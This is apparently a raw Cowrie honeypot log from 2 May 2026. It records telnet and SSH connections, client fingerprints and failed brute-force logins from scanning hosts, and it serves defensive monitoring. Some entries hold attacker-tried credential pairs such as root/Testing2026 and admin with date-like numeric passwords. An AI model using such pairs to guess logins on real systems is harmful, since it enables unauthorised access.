{"eventid":"cowrie.session.closed","duration":31.843302249908447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:48.890971Z","src_ip":"104.245.105.2","session":"36ecac1379b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.489765882492065,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:49.114870Z","src_ip":"104.245.105.2","session":"3929f6f642a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.42055535316467,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:50.132189Z","src_ip":"142.93.2.99","session":"80292caa2b27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56646,"dst_ip":"10.17.0.5","dst_port":23,"session":"204f80058414","protocol":"telnet","message":"New connection: 104.245.105.2:56646 (10.17.0.5:23) [session: 204f80058414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:50.822381Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57340,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82bf7f5c797","protocol":"telnet","message":"New connection: 142.93.2.99:57340 (159.203.135.109:23) [session: c82bf7f5c797]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:54.461996Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fca9f735e7b","protocol":"telnet","message":"New connection: 142.93.2.99:57884 (159.203.135.109:23) [session: 9fca9f735e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:54.916356Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"091fa43fab17","protocol":"ssh","message":"New connection: 186.233.118.22:60648 (159.203.135.109:22) [session: 091fa43fab17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:59.230405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:59.235113Z","src_ip":"186.233.118.22","session":"091fa43fab17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:59.354838Z","src_ip":"186.233.118.22","session":"091fa43fab17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Testing2026","message":"login attempt [root/Testing2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:24:59.864484Z","src_ip":"186.233.118.22","session":"091fa43fab17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:00.987462Z","src_ip":"186.233.118.22","session":"091fa43fab17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38958,"dst_ip":"159.203.135.109","dst_port":23,"session":"080252bd0553","protocol":"telnet","message":"New connection: 142.93.2.99:38958 (159.203.135.109:23) [session: 080252bd0553]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:04.779076Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43602,"dst_ip":"159.203.135.109","dst_port":23,"session":"984f8c20f7ae","protocol":"telnet","message":"New connection: 142.93.2.99:43602 (159.203.135.109:23) [session: 984f8c20f7ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:08.640106Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca63fd86ded1","protocol":"telnet","message":"New connection: 104.245.105.2:59994 (10.17.0.5:23) [session: ca63fd86ded1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:09.273908Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44636,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a18eea65b44","protocol":"telnet","message":"New connection: 142.93.2.99:44636 (159.203.135.109:23) [session: 4a18eea65b44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:09.662688Z"}
{"eventid":"cowrie.session.closed","duration":33.61161661148071,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:11.475649Z","src_ip":"142.93.2.99","session":"f08fbdbb2c8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68822956085205,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:16.111341Z","src_ip":"142.93.2.99","session":"a81ae0a1ac12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":53622,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0e2ef17784a","protocol":"telnet","message":"New connection: 142.93.2.99:53622 (159.203.135.109:23) [session: a0e2ef17784a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:18.671725Z"}
{"eventid":"cowrie.session.closed","duration":30.533294677734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:21.355431Z","src_ip":"104.245.105.2","session":"204f80058414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad3775ee1e1e","protocol":"telnet","message":"New connection: 104.245.105.2:33764 (10.17.0.5:23) [session: ad3775ee1e1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:27.907004Z"}
{"eventid":"cowrie.session.closed","duration":33.05776381492615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:27.974013Z","src_ip":"142.93.2.99","session":"9fca9f735e7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.0565230846405,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:28.518421Z","src_ip":"142.93.2.99","session":"c82bf7f5c797","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33376,"dst_ip":"10.17.0.5","dst_port":23,"session":"512afe66fc95","protocol":"telnet","message":"New connection: 104.245.105.2:33376 (10.17.0.5:23) [session: 512afe66fc95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:35.504378Z"}
{"eventid":"cowrie.session.closed","duration":33.06766104698181,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:37.846612Z","src_ip":"142.93.2.99","session":"080252bd0553","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.63625168800354,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:40.140522Z","src_ip":"104.245.105.2","session":"512afe66fc95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43336,"dst_ip":"159.203.135.109","dst_port":23,"session":"57024106aa7e","protocol":"telnet","message":"New connection: 142.93.2.99:43336 (159.203.135.109:23) [session: 57024106aa7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:40.933016Z"}
{"eventid":"cowrie.session.closed","duration":32.452149391174316,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:41.092146Z","src_ip":"142.93.2.99","session":"984f8c20f7ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.804418325424194,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:43.466914Z","src_ip":"142.93.2.99","session":"4a18eea65b44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.896668434143066,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:48.170448Z","src_ip":"104.245.105.2","session":"ca63fd86ded1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.64252328872681,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:25:52.314126Z","src_ip":"142.93.2.99","session":"a0e2ef17784a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60706,"dst_ip":"159.203.135.109","dst_port":23,"session":"99503cca7a07","protocol":"telnet","message":"New connection: 142.93.2.99:60706 (159.203.135.109:23) [session: 99503cca7a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:03.387420Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":60834,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddf4b1db0ce","protocol":"telnet","message":"New connection: 142.93.2.99:60834 (159.203.135.109:23) [session: 7ddf4b1db0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:03.617356Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":57568,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a41be8bce0","protocol":"ssh","message":"New connection: 186.233.118.22:57568 (159.203.135.109:22) [session: 12a41be8bce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:04.038773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:04.043684Z","src_ip":"186.233.118.22","session":"12a41be8bce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:04.166621Z","src_ip":"186.233.118.22","session":"12a41be8bce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootftp","password":"rootftp","message":"login attempt [rootftp/rootftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:04.674970Z","src_ip":"186.233.118.22","session":"12a41be8bce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.080087661743164,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:04.986978Z","src_ip":"104.245.105.2","session":"ad3775ee1e1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:05.797220Z","src_ip":"186.233.118.22","session":"12a41be8bce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38666,"dst_ip":"159.203.135.109","dst_port":23,"session":"be154259f2dd","protocol":"telnet","message":"New connection: 142.93.2.99:38666 (159.203.135.109:23) [session: be154259f2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:12.039005Z"}
{"eventid":"cowrie.session.closed","duration":32.84551668167114,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:13.778473Z","src_ip":"142.93.2.99","session":"57024106aa7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45078,"dst_ip":"10.17.0.5","dst_port":23,"session":"62f1c5910169","protocol":"telnet","message":"New connection: 104.245.105.2:45078 (10.17.0.5:23) [session: 62f1c5910169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:22.804700Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49612,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bcadf8e5098","protocol":"telnet","message":"New connection: 142.93.2.99:49612 (159.203.135.109:23) [session: 5bcadf8e5098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:25.789695Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52252,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f43a5c44355","protocol":"telnet","message":"New connection: 142.93.2.99:52252 (159.203.135.109:23) [session: 0f43a5c44355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:28.931094Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":13409,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff83b7f42de","protocol":"ssh","message":"New connection: 2.57.121.112:13409 (159.203.135.109:22) [session: 5ff83b7f42de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:33.826994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:33.831365Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:33.937104Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160595","message":"login attempt [admin/160595] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:34.434767Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":36678,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a6010a89f84","protocol":"ssh","message":"New connection: 2.57.122.238:36678 (159.203.135.109:22) [session: 7a6010a89f84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:34.914692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:34.919679Z","src_ip":"2.57.122.238","session":"7a6010a89f84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:35.020690Z","src_ip":"2.57.122.238","session":"7a6010a89f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol123","message":"login attempt [sol/sol123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:35.329668Z","src_ip":"2.57.122.238","session":"7a6010a89f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160577","message":"login attempt [admin/160577] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:35.543370Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39278030395508,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:36.010015Z","src_ip":"142.93.2.99","session":"7ddf4b1db0ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:36.433594Z","src_ip":"2.57.122.238","session":"7a6010a89f84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"16051973","message":"login attempt [admin/16051973] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:36.652351Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160489","message":"login attempt [admin/160489] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:37.761189Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.899656534194946,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:38.286946Z","src_ip":"142.93.2.99","session":"99503cca7a07","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"160483","message":"login attempt [admin/160483] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:38.872876Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:39.981108Z","src_ip":"2.57.121.112","session":"5ff83b7f42de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58588361740112,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:45.624767Z","src_ip":"142.93.2.99","session":"be154259f2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49014,"dst_ip":"10.17.0.5","dst_port":23,"session":"e72b4f17803b","protocol":"telnet","message":"New connection: 104.245.105.2:49014 (10.17.0.5:23) [session: e72b4f17803b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:47.877765Z"}
{"eventid":"cowrie.session.closed","duration":30.72382640838623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:53.528395Z","src_ip":"104.245.105.2","session":"62f1c5910169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45320,"dst_ip":"10.17.0.5","dst_port":23,"session":"01d0a333d7b4","protocol":"telnet","message":"New connection: 104.245.105.2:45320 (10.17.0.5:23) [session: 01d0a333d7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:55.849522Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0fd9bd6b834","protocol":"telnet","message":"New connection: 142.93.2.99:50874 (159.203.135.109:23) [session: d0fd9bd6b834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:26:58.985724Z"}
